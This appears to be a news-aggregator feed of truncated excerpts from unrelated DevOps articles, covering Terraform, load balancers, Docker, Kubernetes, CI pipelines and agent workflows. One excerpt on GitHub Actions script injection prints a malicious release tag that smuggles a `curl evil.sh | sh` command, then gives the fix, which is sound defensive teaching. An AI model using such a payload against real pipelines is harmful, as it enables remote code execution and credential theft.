AI 资讯
"forces replacement": the Terraform plan line nobody reads
Line 267 of a 427-line Terraform plan: # aws_rds_cluster.reporting must be replaced - /+ resource "aws_rds_cluster" "reporting" { ~ arn = "arn:aws:rds:us-east-1:842910557412:cluster:reporting" - > ( known after apply ) ~ cluster_resource_id = "cluster-D85642F9611A" - > ( known after apply ) ~ engine_version = "14.9" - > "15.4" ~ id = "reporting" - > ( known after apply ) ~ storage_encrypted = false - > true # forces replacement # (29 unchanged attributes hidden) } The merge request says "bump reporting Postgres to 15.4." The plan does exactly that. It also destroys the reporting database and creates an empty one in its place. Underneath the known-after-apply churn, two attributes are changing. One is the version bump, the thing your MR is about. The other is storage_encrypted flipping from false to true , and it isn't yours. Someone on another team that shares this repo merged it earlier in the week. You're just the one deploying. You review other people's Terraform MRs and have a feel for what each stack normally does; most weeks someone else shepherds the deploy. Today it's you. Your change goes out next, so you're carrying everything merged since the last deploy, including work you never reviewed and had no reason to know about. Nobody was negligent. The queue simply had someone else's change in it. It's a good change, by the way. You want encrypted storage. But there's no in-place path from unencrypted to encrypted on an RDS cluster. Terraform's only move is destroy and create. That's what -/+ means, and the comment at the end of the line says it in plain English: forces replacement . And the version bump alone would have failed. Going from 14 to 15 is a major version upgrade, and Aurora refuses those unless the config sets allow_major_version_upgrade = true . This one doesn't. That MR by itself would have died at apply, loudly, with an error naming the exact problem. A replacement doesn't upgrade anything. It creates a new cluster at 15.4 from scratch, so the f
AI 资讯
Cisco ACE load balancer-i idarə edərkən nəyə baxmaq lazımdır?
Cisco ACE ilə işləyən administratorun qarşısında qəribə vəziyyət dayanır: cihaz zəngin funksiyalara malikdir, trafik yolunun tam ortasındadır, amma özü artıq keçmiş nəsil platformadır. Buna görə konfiqurasiyaya yalnız “request hansı serverə getsin?” sualı ilə baxmaq kifayət etmir. Tətbiqin sağlamlığı, session davranışı, SSL sərhədi və cihaz sıradan çıxanda baş verəcək hadisələr eyni xəritədə görünməlidir. Problem də budur. ACE 4710 ayrıca appliance kimi, ACE modulları isə şəbəkə avadanlığının daxilində application delivery funksiyası verirdi. Cisco bu iki məhsulu data center üçün load balancing və application delivery həlli kimi təsvir edir. Bu sinif cihaz client ilə backend arasında reverse proxy və ya Layer 4 load balancer rolunda dayanır; client virtual IP-yə qoşulur, ACE uyğun server farm-ı tapır, işlək real server seçir və bağlantını ora ötürür. Kağız üzərində sadədir. Production-da isə hər oxun öz state-i və nasazlıq ssenarisi var. Trafik ACE-dən necə keçir? Konfiqurasiyanı oxumağın rahat yolu ayrı-ayrı komandaları əzbərləmək deyil, obyektlər arasındakı yolu izləməkdir. Virtual IP xidmətin xarici ünvanıdır. Class map trafiki tanıyır, policy map həmin trafikə load balancing davranışı bağlayır, server farm backend hovuzunu saxlayır, real server isə konkret tətbiq instansiyasıdır. Health probe real serverin rotasiyada qalıb-qalmayacağına qərar verir. Diaqram — orijinal məqalədə Bu axında class map və policy map giriş trafikinin hansı xidmətə aid olduğunu müəyyən edir. Server farm seçildikdən sonra predictor işlək real serverlər arasından birini seçir. Cavab client-ə ACE üzərindən qayıdırsa, cihaz connection state-i saxlayır; asimmetrik routing yaranarsa paketlərin bir hissəsi bu state-dən yan keçə və bağlantı qırıla bilər. Deməli, routing dizaynı load balancer konfiqurasiyasından ayrı məsələ deyil. Predictor serverin həqiqi yükünü həmişə bilmir ACE-də round-robin və least connections davranışları fərqli məqsədlərə xidmət edir. Weighted round-robin standart predic
AI 资讯
Un déploiement doit être ennuyeux
Un déploiement devrait être la chose la plus ennuyeuse de ta semaine. S'il est excitant, c'est mauvais signe. Au début de ma carrière, les mises en production étaient des événements. On retenait son souffle, on croisait les doigts, quelqu'un exécutait de mémoire une séquence d'étapes manuelles, et on regardait les journaux avec une boule au ventre. C'était palpitant. C'était aussi terrifiant, et le côté palpitant était précisément le problème : chaque déploiement était un pari, parce que chaque déploiement était un peu différent du précédent. Un bon déploiement est répétable. La même chose, de la même façon, à chaque fois — automatisée, pas récitée par un humain fatigué à la fin d'une longue journée. Quand le processus est un script plutôt qu'une cérémonie, l'ennui remplace l'angoisse. Tu ne pries plus. Tu appuies sur un bouton, et le résultat est prévisible parce qu'il a déjà été prévisible cent fois. L'automatisation fait ici plus que gagner du temps. Elle supprime toute une catégorie d'erreurs : l'étape oubliée, le mauvais paramètre, le « je croyais que tu l'avais fait ». La machine ne se fatigue pas, ne saute pas de ligne, ne se laisse pas distraire à mi-chemin. Elle rend le déploiement fiable au point d'en être ennuyeux — et l'ennui, en production, est un luxe. Alors, si tes mises en production font encore monter le rythme cardiaque, ce n'est pas de la prudence. C'est un signal. Rends-les répétables, rends-les automatiques, rends-les ennuyeuses. Garde le frisson pour ta vie ; ton système de production, lui, mérite l'ennui. – Serguey Shinder
AI 资讯
Running Claude Code in 4 Parallel Sessions Led to 'Team Development' — 7 Recipes to Prevent Collisions
📝 Originally published (in Japanese) at forge.workstyle.tech . In a previous article , we introduced an environment for parallel execution of coding agents using Git worktrees. This article is a follow-up. As we progressed with parallelization, we ended up with 3-5 Claude Code sessions simultaneously developing the same microservices . What happened was no longer just "parallel execution of tools" but actual "team development" . All the issues that arise in human teams—miscommunication, deployment conflicts, and territorial overlaps—occur here as well. And the practices that work for human teams work almost identically here. We’ll share seven recipes that emerged from actual operations, along with real-life close calls. Real-Life Story: Averting a Deployment Rollback Disaster at the Last Minute One day, while Session A (responsible for voice functionality) was in the middle of a major refactor, Session B (responsible for streaming functionality) sent this message: "We’re about to build the frontend as version 1.0.399 (based on main)." At first glance, this seemed fine. However, in this repository, the authoritative branch for the production environment was not main but a dedicated deployment branch . The latest features from the past few dozen versions were only in the deployment branch, while main was outdated. If Session B had deployed an image based on main, weeks’ worth of features would have been rolled back in production . Session A immediately sent a warning, and Session B halted the build before pushing. Session B then cherry-picked their changes into the deployment branch and rebuilt the image, avoiding the disaster entirely. All this communication was handled autonomously between the agents via session-to-session messages . I (the human) only learned about it later from the logs. This incident highlights two things: parallel agents can cause the same accidents as human teams , and with proper communication channels and rules, they can prevent accidents jus
AI 资讯
I Read 25 Release Pipelines Looking for One Bug. Four Had It.
There is one line of YAML I have been chasing across open source for months: run : | TAG="${{ github.event.release.tag_name }}" It looks like reading a variable. It is not. ${{ ... }} is a template expression . GitHub substitutes it as raw text into the script before bash ever parses the line. By the time the shell runs, there is no variable — there is whatever the tag name happened to be, pasted directly into your program. So a tag named: v1.0 "; curl evil.sh | sh; echo " is not compared. It runs. Why it is always the release workflow You could write this bug anywhere. In practice it clusters in exactly one place: the workflow that publishes. That is not a coincidence. Release workflows are where you handle version strings, tag names, and workflow_dispatch inputs — the values that feel like configuration rather than user input. And release workflows are also where the interesting credentials live: permissions : id-token : write # Trusted Publishing to PyPI The two facts meet. The job most likely to contain the bug is the job holding the token that publishes to every one of your users. The JavaScript variant is worse actions/github-script has the same flaw, but people miss it because the block looks like a script file: - uses : actions/github-script@v7 with : script : | const tag = '${{ env.RELEASE_TAG }}'; That script: body is JavaScript source . The expansion happens before it is parsed, so a single quote in the value closes the string literal and the rest is evaluated as code. And a tag name absolutely can contain a single quote. git check-ref-format rejects spaces, ~ , ^ , : , ? , * , [ and backslash. It does not reject ' . The fix is three lines Pass the value through env . An environment variable is only ever data — it is never re-parsed as source text. # Before run : | TAG="${{ github.event.release.tag_name }}" # After env : RELEASE_TAG : ${{ github.event.release.tag_name }} run : | TAG="$RELEASE_TAG" Same for the JavaScript case — process.env.RELEASE_TAG ins
AI 资讯
How We Keep a Trunk-Based Pipeline From Being Reckless
Part 1 covered the mechanism: a fingerprint gate decides whether a change ships in minutes over-the-air or needs a full store release. But a gate that only checks "is this native-safe" says nothing about whether the change is good . If every merge to main can reach production within minutes, your safety net can't be a release train that gives everyone time to notice a problem before it ships — it has to be built into the pipeline itself, because there's no train to catch it on the way out. The PR gate Every pull request into main runs through the same automated gate before it's mergeable: a type check, a lint pass, an automated test suite, and end-to-end checks against a real device build. None of that is negotiable — it's the floor, not a nice-to-have. E2E is a big enough topic on its own — closing the loop between what a unit test can see and what actually happens on a phone in someone's hand — that it deserves its own dedicated post rather than a paragraph here. jobs : typecheck : run : npm run typecheck lint : run : npm run lint test : run : npm test e2e : run : npm run e2e Nothing exotic under the hood — ESLint for the lint pass, Husky for local pre-commit/pre-push hooks so the same checks catch you before CI even runs, Jest as the test runner, and React Native Testing Library for component-level tests. Popular, boring, well-documented tooling on purpose — the pipeline's value is in how these are wired together and gated, not in any one tool being clever. Feature flags are the real safety valve Here's the entry condition that makes OTA-from- main safe at all: shipping code and releasing a feature are two different actions. A merge can put new code on every user's device within minutes — that's deploy. Whether that code actually does anything visible is a separate switch, controlled by a remote feature flag, not by whether the code merged. That decoupling is what makes trunk-based development survivable. Nobody has to get the timing of a merge exactly right, bec
AI 资讯
# From Silent Failure to a Definitive Fix: Debugging an Existing AI Application
Clear the Lineup Submission The Bug AI applications can fail silently — producing wrong outputs, degraded performance, or unexpected behaviors without explicit errors. In my case, the issue was SQL drift: queries executed successfully but returned incomplete or unstable results due to unsafe wildcard usage (SELECT *). This silent failure propagated downstream, degrading model accuracy without obvious alerts. The Fix I introduced an agentic validation and inspection layer into the pipeline using LangGraph, StatesGraph, MCP, and A2A. Inspection Layer: Deterministic checks (SQL linters, schema validators). Validation Layer: Agentic reasoning about query safety. MCP Integration: Standardized access to profilers and monitoring APIs. A2A Collaboration: Agents exchanged context to enforce compliance. This combination allowed the system to detect unsafe queries and route them for human review before deployment. PR Link Here’s the merged PR where the fix was implemented: Continental-Thaligai Repository – Merged PRs https://github.com/NikhilRaman12/Continental-Thaligai/pulse#opened-pull-requests Code Snippet python from langgraph import Graph from statesgraph import State from mcp import MCPClient class SQLInspection(State): def run(self, query): if "SELECT" in query and "*" in query: return {"risk": 0.7, "message": "Wildcard SELECT may cause drift"} return {"risk": 0.1, "message": "Query safe"} graph = Graph() graph.add_state("sql_inspection", SQLInspection()) graph.connect("sql_inspection", "human_review", condition=lambda r: r["risk"] > 0.5) result = graph.run("SELECT * FROM transactions") print(result) Diff Example: diff SELECT * FROM transactions SELECT transaction_id, amount, date FROM transactions This change eliminated silent drift in query results and improved reliability in downstream AI pipelines. Outcome Silent SQL drift eliminated. Improved accuracy in downstream AI models. Added regression tests to prevent recurrence. Strengthened CI/CD pipeline with agentic saf
AI 资讯
Why I left Warehouse out of our Fabric deployment scope
title: Why I left Warehouse out of our Fabric deployment scope published: true tags: microsoftfabric, datawarehouse, cicd, devops Our Fabric deployment pipeline handles sixteen item types. Warehouse is not one of them, and that was deliberate. DEFAULT_ITEM_TYPES = [ " DataPipeline " , " Lakehouse " , " Notebook " , " SemanticModel " , # "Warehouse" is intentionally excluded. Warehouse schema deployment must # be handled separately to avoid schema reset risk during publish. " Environment " , " Eventhouse " , ... ] The reason Publishing a warehouse through this path can reset its schema. Not "might behave unexpectedly". The failure mode is that a deployment intended to be additive removes structure, and the thing that removes it is the same routine that successfully deploys the other sixteen types. The choice that follows Two options once you know that. Include it and hope nobody deploys a warehouse without reading the docs. The pipeline supports everything, and one day someone promotes a change on a Friday and finds out. Or exclude it, document why, and handle warehouse deployment as its own problem with its own tooling. I took the second. An automation that covers most cases and silently corrupts the rest is worse than one that covers most cases and refuses the rest. The refusal is visible. The corruption is not. Making the exclusion loud An exclusion is only useful if someone notices it. Three things help: The comment sits inside the list , not in a doc nobody opens. Anyone reading the item types sees the gap and the reason in the same glance. It is in the README under known limitations, next to the other things the framework does not do. There is a test. It asserts Warehouse is absent from the default scope: def test_warehouse_stays_excluded ( self ): """ Warehouse publish can reset schema, so it is handled separately. """ self . assertNotIn ( " Warehouse " , deploy . DEFAULT_ITEM_TYPES ) That test looks silly. It is asserting that a string is missing from a list.
AI 资讯
NuGet Restore Failing with 'Unable to find version' Package? Check Your NuGetToolInstaller Version!
The Problem In one of our Azure DevOps pipelines, nuget restore suddenly started failing with an error stating, in essence, that the requested package could not be found in the referenced version. The task referencing the package hadn't changed — yet the restore stage kept failing. At first glance, this looks like an issue with the package source, some caching effect, or a broken .nuspec/lockfile. It wasn't. The Root Cause The actual culprit was the version of the NuGetToolInstaller@1 task itself. The pipeline had NuGet pinned to version 6.12.2. The Fix Bump the versionSpec in the NuGetToolInstaller@1 task from 6.12.2 to 7.9.0: - task : NuGetToolInstaller@1 displayName : ' Use NuGet 7.9.0' inputs : versionSpec : 7.9.0 checkLatest : false That's it. After the update, nuget restore ran through cleanly again.
AI 资讯
CI/CD Pipelines That Actually Work: Lessons from The Matrix
The Quest Begins (The “Why”) Honestly, I used to stare at my CI/CD yaml files like they were ancient runes. Every push felt like a gamble: “Will the build pass this time?” I’d spend Friday nights hunting down a missing node_modules cache in Jenkins, only to realize the agent had run out of disk space because I’d forgotten to add a cleanup step. The pain was real, and the feedback loop was slower than a dial‑up modem. I kept asking myself: Why does this feel like wrestling a dragon every time I want to ship a feature? The answer was simple—I hadn’t yet found a pipeline that just worked out of the box. I wanted something that gave me confidence, not anxiety. So I embarked on a quest to compare the three big contenders: GitHub Actions, GitLab CI, and good ol’ Jenkins. Spoiler: the treasure wasn’t in the tool itself, but in how you shape the pipeline around your team’s flow. The Revelation (The Insight) The big “aha!” moment came when I stopped treating CI/CD as a one‑size‑fits‑all script and started seeing it as a contract between my code and my environment. The contract says: Every commit gets a clean slate. Dependencies are restored, not guessed. Tests run in parallel, not sequentially. Artifacts are published only if the gate passes. When I wrote that contract down, the yaml stopped looking like magic incantations and started looking like a checklist. The tools differ in syntax, but the underlying principles are the same. Here’s the secret: cache wisely, fail fast, and keep the pipeline short enough to give you feedback before you’ve even finished your coffee. Wielding the Power (Code & Examples) Below are three pipelines—one for each platform—that embody the contract above. I’ll first show a “struggle” version (the common pitfalls) and then the victorious version. 1. GitHub Actions – The Struggle name : CI on : [ push , pull_request ] jobs : build : runs-on : ubuntu-latest steps : - uses : actions/checkout@v3 - name : Install deps run : npm install # <-- no cache,
AI 资讯
Docker avançado - multi-stage builds, segurança e CI/CD
1. Retomando: da aplicação funcionando ao container pronto para produção Esta série cobriu, até aqui, o suficiente para desenvolver com Docker no dia a dia: conceitos fundamentais, comandos essenciais, Dockerfiles eficientes, rede, volumes e Compose para orquestrar múltiplos serviços. Este último artigo fecha a lacuna entre "funciona no meu Compose local" e "pronto para rodar em produção": imagens menores via multi-stage builds, segurança básica e não negociável, e como tudo isso se integra a um pipeline de CI/CD. 2. O problema que multi-stage builds resolve Compilar ou empacotar uma aplicação frequentemente exige ferramentas que a aplicação não precisa em tempo de execução : compiladores, headers de desenvolvimento, o próprio código-fonte antes de ser transpilado/buildado. Um Dockerfile ingênuo carrega tudo isso para a imagem final: # Ruim: ferramentas de build viajam junto para produção FROM node:20 WORKDIR /app COPY . . RUN npm install && npm run build CMD ["node", "dist/server.js"] Essa imagem inclui o npm , todo o node_modules (incluindo dependências de desenvolvimento), o código-fonte original e as ferramentas de build — frequentemente centenas de MBs de peso morto que nunca são usados depois que npm run build termina, e que ainda aumentam a superfície de ataque da imagem (mais binários, mais coisa que pode ter vulnerabilidade). Multi-stage builds resolvem isso permitindo múltiplos blocos FROM no mesmo Dockerfile, onde estágios posteriores copiam seletivamente apenas o que precisam dos anteriores — o restante do estágio de build simplesmente não existe na imagem final: # Estágio 1: build, com todas as ferramentas necessárias FROM node:20 AS build WORKDIR /app COPY package*.json . RUN npm ci COPY . . RUN npm run build # Estágio 2: produção, só com o resultado do build FROM node:20-slim WORKDIR /app COPY --from=build /app/dist ./dist COPY --from=build /app/node_modules ./node_modules COPY package*.json . CMD ["node", "dist/server.js"] A imagem final não contém o
AI 资讯
Docker Compose - orquestrando múltiplos containers
1. Retomando: do docker run repetido a um arquivo único No artigo anterior, subir uma API e um Postgres conectados exigiu dois comandos docker run longos, com flags de rede, volume e variáveis de ambiente para lembrar (e digitar) toda vez. Em um projeto real, com mais serviços — cache, fila, worker em background — isso rapidamente vira inviável de manter na cabeça ou em um script solto. O Docker Compose resolve isso descrevendo toda a aplicação multi-container em um único arquivo declarativo, versionado junto com o código. 2. O arquivo compose.yaml Compose lê um arquivo YAML (por convenção compose.yaml , ou o nome legado docker-compose.yml , ainda amplamente usado) descrevendo serviços (cada um vira um ou mais containers), redes e volumes: # compose.yaml services : api : build : . ports : - " 8000:8000" environment : DATABASE_URL : postgresql://postgres:segredo@banco:5432/postgres depends_on : - banco banco : image : postgres:16 environment : POSTGRES_PASSWORD : segredo volumes : - pg-dados:/var/lib/postgresql/data volumes : pg-dados : Isso substitui inteiramente os dois docker run do artigo anterior. Uma diferença importante já aparece aqui: por padrão, Compose cria uma rede própria para o projeto e conecta todos os serviços a ela automaticamente — não é preciso um docker network create manual, nem declarar --network em cada serviço. Cada serviço já é acessível pelos demais pelo nome declarado em services: (aqui, banco resolve para o container do Postgres), exatamente como as redes definidas pelo usuário do artigo anterior. 3. Comandos essenciais do Compose docker compose up -d # sobe todos os serviços em segundo plano docker compose ps # lista os containers do projeto e seu status docker compose logs -f api # segue os logs de um serviço específico docker compose logs -f # segue os logs de todos os serviços, intercalados docker compose exec api bash # abre um shell dentro do container de um serviço docker compose stop # para os containers sem removê-los docker comp
AI 资讯
Code Review From the Terminal and CI, No MCP Client Required
A month ago I shipped aicraft-code-review , an MCP server that reviews code locally. This week I added a CLI mode — because not everyone wants to wire up an MCP client just to check a diff. Now the same reviewer runs three ways: MCP tools — review_code / review_diff / review_file inside Claude Code, Cursor, Cline CLI — mcp-code-review review-file path/to/file.py CI — pipe git diff into it and branch on the exit code The CLI pip install aicraft-code-review # a single file (config auto-discovered from the file's directory upward) mcp-code-review review-file src/api.py # the current diff git diff | mcp-code-review review-diff # a snippet mcp-code-review review-code "import os; os.system('ls')" Exit codes are CI-friendly: Code Meaning 0 clean, or only info-level findings 1 high / medium issues found 2 critical issues found What it catches out of the box Security (OWASP patterns), performance (N+1, unbounded growth), quality (bare excepts, TODOs, missing type hints), style (naming, line length). Real output: ### 🟠 High (2) | Line | Issue | Category | Fix | | 4 | Command injection risk | security | subprocess.run with args list | | 9 | N+1 query in loop | performance | batch query / eager loading | ### 🟢 Info (2) — missing return type annotations Verdict: Conditional Pass — address high/medium issues Making it match YOUR rules The config file is the part I'd actually show a teammate: custom_rules : - name : no-console-log pattern : ' console\.log\(' severity : high category : quality issue : Console logging left in production code fix : Use a structured logger instead disabled_checks : - todo_comment severity_overrides : hardcoded_secret : critical .mcp-code-review.yaml is auto-discovered from the reviewed file's directory upward MCP_CODE_REVIEW_CONFIG points a whole team at one shared profile valid severities: critical / high / medium / info regex patterns work best in single quotes (double quotes will error on escapes like \. ) One caveat if you're also shipping Python
AI 资讯
GitHub Actions' free macOS minutes, explained
GitHub Actions is GitHub's built-in CI/CD system — it spins up a fresh virtual machine, runs whatever commands you tell it to, and tears the machine down when it's done. It supports Linux, Windows, and macOS runners. The macOS runners are the interesting part here, because they're actual macOS machines with Xcode's command-line build tools available, which means they can build and sign iOS apps — not just run tests. The headline rule: public repos are free On a public repository, standard GitHub-hosted runner minutes — including macOS — don't cost anything, on any plan, including the free plan. It's a genuine free tier, not a trial or a limited allowance that runs out. One nuance: this covers standard runners. GitHub also offers "larger runners" (more CPU/RAM) — those are billed regardless of repo visibility. A default macOS build for signing and archiving a typical app doesn't need one, so this rarely matters in practice. What changes on a private repo If your repository is private, you get a monthly allowance of free minutes instead of unlimited free usage: Plan Included minutes / month Free 2,000 Pro 3,000 Team 3,000 The number that actually matters for iOS builds is how fast macOS runners burn through that allowance. macOS minutes cost roughly 10x GitHub applies a multiplier against your included minutes: Linux runners run at the baseline rate, macOS runners run at roughly 10x that rate. A 6-minute macOS build eats through the same allowance as roughly 60 minutes of Linux CI. Applied to the table above, a Free-plan private repo effectively gets around 200 macOS-runner-minutes worth of free build time per month before you're billed per minute past it (Pro/Team works out to roughly 300). The practical upshot: if you're fine building in the open, a public repo gets you unlimited macOS build minutes at zero cost, indefinitely. If you'd rather keep the code private, everything about the pipeline still works the same way — you're just drawing from a metered allowance
AI 资讯
Gate your CI on a dollar ceiling, not a percentage — the number your finance team actually asks for
Gate your CI on a dollar ceiling, not a percentage — the number your finance team actually asks for Most cost gates for agent/LLM workflows check a delta : did this PR make the run more expensive than the last one, by more than X%? That's a good regression alarm. But it answers a developer's question ("did I make it worse?"), not a budget owner's question ("are we going to blow the monthly number?"). Those are genuinely different gates, and a team that only has the percentage one keeps getting surprised. A workflow can pass every percentage check — each PR adds a harmless-looking 3% — and still cross the line where the absolute monthly spend stops being okay. Percentages compound quietly; dollars are what shows up on the invoice. So the second gate I want on any agent workflow is an absolute ceiling : "a single run of this job must not cost more than $N," full stop, regardless of whether it went up or down since yesterday. Three things make that gate actually usable rather than theater: 1. The ceiling is priced, not token-counted. "Under 2M tokens" is meaningless to the person who signs off on spend, because a token of Opus output and a token of cached Haiku input differ by ~100× in price. The gate has to multiply each token bucket (input, output, cache-write at ~1.25×, cache-read at ~0.1×) by that model's real per-token price and sum to an actual dollar figure. If your gate reports tokens and makes a human convert, nobody converts, and the ceiling drifts. 2. The ceiling is per-run and per-workflow, not global. A nightly full-repo audit and a per-PR lint agent have wildly different legitimate costs; one global number is either too loose for the small job or too tight for the big one. You want to set max-usd on the specific workflow, so each job carries the ceiling that matches what it's for . 3. It shows the headroom, not just pass/fail. "$0.43 of a $0.50 ceiling — 86%" on every run is the line that lets you move the limit before it starts failing builds, instead of
AI 资讯
Kubernetes for Beginners: From Local to Production – May the Pods Be With You
The Quest Begins (The "Why") I remember the first time I tried to take a weekend side‑project from my laptop to something that felt “real”. I had a cute Express API that talked to Postman, a PostgreSQL container spun up with docker-compose up , and a React front‑end that lived in its own dev server. Everything worked beautifully … until I hit Ctrl+C on my laptop and the whole thing vanished. I needed a way to say, “Hey, keep this running even if I close my laptop, and if something crashes, bring it back up automatically.” I started poking at Docker Swarm, then Nomad, but the docs felt like reading ancient runes. That’s when a coworker slid over a Slack message: “Just try a Kind cluster. It’s K8s locally, and you’ll see why everyone talks about it.” Spoiler: it felt like discovering the secret level in a classic arcade game. Suddenly I could describe what I wanted my system to look like, and the cluster would make it happen — no more babysitting containers. The Revelation (The Insight) Kubernetes isn’t a mystical black box; it’s a declarative orchestrator . You tell it the desired state of your application (how many replicas, which image, what ports to expose) and it works relentlessly to match reality to that state. If a pod dies, Kubernetes spins up a new one. If you ask for three replicas and only two are running, it creates the missing pod. If you update the image tag, it rolls out the change pod‑by‑pod, keeping traffic flowing. Think of it like the save‑game system in a RPG: you define the story you want to experience, and the engine handles the gritty details of loading, saving, and recovering from crashes. The core objects you’ll meet early on are: Pod – the smallest deployable unit (one or more tightly coupled containers). Deployment – manages a set of identical pods, handles updates and rollbacks. Service – a stable network endpoint that load‑balances traffic to a set of pods. Ingress (optional) – exposes HTTP/HTTPS routes from outside the cluster to service
AI 资讯
Docker - redes e volumes na prática
1. Retomando: de imagens bem construídas a containers que conversam entre si Os artigos anteriores desta série cobriram como criar imagens eficientes e rodar containers isolados. Mas uma aplicação real raramente é um único container: normalmente há uma API, um banco de dados, um cache, talvez uma fila de mensagens — cada um em seu próprio container, precisando se comunicar. E containers, por padrão, são efêmeros: qualquer dado escrito dentro deles some quando são removidos. Este artigo cobre as duas peças que resolvem isso: redes (comunicação entre containers) e volumes (persistência de dados). 2. O problema do isolamento de rede por padrão Cada container recebe seu próprio namespace de rede, isolado dos demais e do host. Isso é uma característica de segurança, não um bug — mas significa que dois containers rodados de forma independente não conseguem se encontrar automaticamente: docker run -d --name api minha-api docker run -d --name banco postgres De dentro do container api , tentar acessar banco por esse nome simplesmente falha — cada container, isolado, só enxerga localhost como a si mesmo. A solução do Docker para isso é criar uma rede e conectar ambos os containers a ela. 3. Redes definidas pelo usuário (User-Defined Networks) docker network create minha-rede docker run -d --name banco --network minha-rede postgres docker run -d --name api --network minha-rede minha-api A partir daqui, dentro do container api , o hostname banco resolve automaticamente para o IP do container banco — o Docker roda um DNS interno para qualquer rede definida pelo usuário, resolvendo containers pelo nome (ou pelo alias definido com --network-alias , se houver mais de um). Isso é o motivo pelo qual strings de conexão em aplicações containerizadas costumam usar o nome do serviço em vez de um IP fixo: DATABASE_URL = postgresql :// usuario : senha @ banco : 5432 / meudb Comandos úteis para inspecionar redes: docker network ls # lista todas as redes docker network inspect minha-rede # d
AI 资讯
Stop Wasting Free Model Calls on Trivial Diffs: A Three-Tier Escalation Ladder
A merge request changes one README line. The pipeline still calls a model. It costs tokens. It adds latency. It tells you almost nothing. Sound familiar? If you maintain a small CI setup, this failure keeps showing up. The instinct is to put model-based review everywhere. Then the free tier dies in a week. The fix isn't another monitor. It's a small decision gate that decides whether a diff deserves a model call at all. The operator-supplied availability claims for MonkeyCode include free model access and a free server option. I treat those claims as a starting point, not a quota guarantee. Disclosure: This article was prepared as part of MonkeyCode's product outreach. Why every diff shouldn't hit the model Free model access is not infinite. Even if it feels free, there are hidden ceilings. Free tiers often cap requests, tokens, or time-based windows. Model output variance on trivial diffs adds noise, not signal. CI latency grows. A two-second call across a hundred merge requests is real time. The highest-value model review is rare, not constant. If you call a model on every change, you pay the full cost while getting almost none of the benefit. The gate is supposed to fix that. A three-tier escalation ladder I use a small decision table. It doesn't need to be perfect. It needs to be boring and predictable. Tier Trigger Action Model call? 0 Up to 50 added+removed lines, only docs or config suffixes, no sensitive paths Run lint and skip the model No 1 Code or test files touched, 51–400 lines, no lockfile, no migration, no sensitive path Send one bounded prompt to the free model Yes, once 2 Over 400 lines, new lockfile, migration, auth or secret paths Require human review first. Use a model only to summarize, not to decide Optional The exact numbers are arbitrary. They matter less than the fact that tier 0 never reaches the model. The code Here is a plain Python gate. It reads simple diff stats and changed paths. from pathlib import Path DOC_OR_CONFIG = { ' .md ' , '
AI 资讯
Make Free Model CI Jobs Replayable Before You Retry Them
The retry trap A free model CI job fails on a timeout. You click retry. The whole pipeline starts over: checkout, build, dependencies, model call. That is the trap. Why re-run the world for one timeout? Retrying the pipeline does not isolate the flaky step. It makes a small problem expensive. I wanted a workflow that replays just the model call, not the whole pipeline. So I made every free model call leave behind a tiny reproducible record. A record has two halves: the input envelope and the output hash. If the job fails, I can replay the input against the same model and compare the output hash. No full pipeline re-run. Disclosure: This article was prepared as part of MonkeyCode's product outreach. I use MonkeyCode's free model access for the model step and its free server option as a small replay store. I do not assume exact quotas, model names, or availability windows here. The pattern works with any free HTTP model endpoint and any tiny key-value store or CI artifact. Why a hash and not the full prompt Full prompt logs are useful until they are not. A free model job may receive a snippet of a merge request, an error message, or an environment variable. Store the raw text in CI logs and you can accidentally leak source or secrets. Store a hash and the replay input in a locked artifact, and the risk drops. A hash also gives me one cheap comparison target. I do not need to reason about the entire response to see that an endpoint changed. I only need byte-level equality. The record shape For every model call, I save the fields below. request_id: a hash derived from model, prompt hash, and a timestamp. prompt_hash: the hash of the normalized prompt. response_hash: the hash of the raw response. status: the HTTP status of the original call. bytes: the length of the response. The exact hash algorithm matters less than using the same one on both sides. I use SHA-256 because it is available everywhere. GitLab CI wiring I run two jobs. The first job calls the model and post
AI 资讯
Dockerfile na prática - camadas, cache de build e boas práticas
1. Retomando: do Dockerfile mínimo a um Dockerfile de verdade Na segunda parte desta série, um Dockerfile de poucas linhas já foi suficiente para empacotar uma aplicação Python. Isso funciona, mas um Dockerfile escrito sem pensar em camadas e cache de build gera imagens maiores do que precisam ser e builds que demoram muito mais do que deveriam a cada mudança pequena no código. Este artigo aprofunda como o Docker constrói uma imagem por dentro, e como escrever um Dockerfile que tira proveito disso. 2. Como funcionam as camadas (layers) Cada instrução de um Dockerfile ( FROM , RUN , COPY , ADD ) que modifica o sistema de arquivos gera uma camada — um diff read-only armazenado separadamente e empilhado sobre as anteriores. A imagem final é simplesmente a soma de todas essas camadas, e o container em execução adiciona uma camada gravável no topo (union filesystem). Container (camada gravável) ────────────────────────── Camada 4: COPY . . Camada 3: RUN pip install -r requirements.txt Camada 2: COPY requirements.txt . Camada 1: FROM python:3.12-slim Duas consequências práticas importantes: Camadas são reaproveitadas entre imagens. Se duas imagens diferentes compartilham as mesmas primeiras instruções (por exemplo, a mesma FROM e o mesmo RUN apt-get install ), o Docker armazena essa camada uma única vez em disco, mesmo que várias imagens a usem. Camadas são cacheadas entre builds. Ao rodar docker build de novo, o Docker verifica cada instrução, na ordem: se a instrução e seus arquivos de entrada não mudaram desde o último build, ele reaproveita a camada já construída em vez de refazer o trabalho. Isso é a base de todo o próximo tópico. 3. Cache de build: ordenar o Dockerfile por frequência de mudança O cache de build é invalidado a partir do primeiro ponto de mudança : se a instrução N mudou (ou um arquivo que ela copia mudou), toda camada a partir de N é reconstruída — mesmo que as instruções seguintes sejam idênticas ao build anterior. Isso significa que a ordem das ins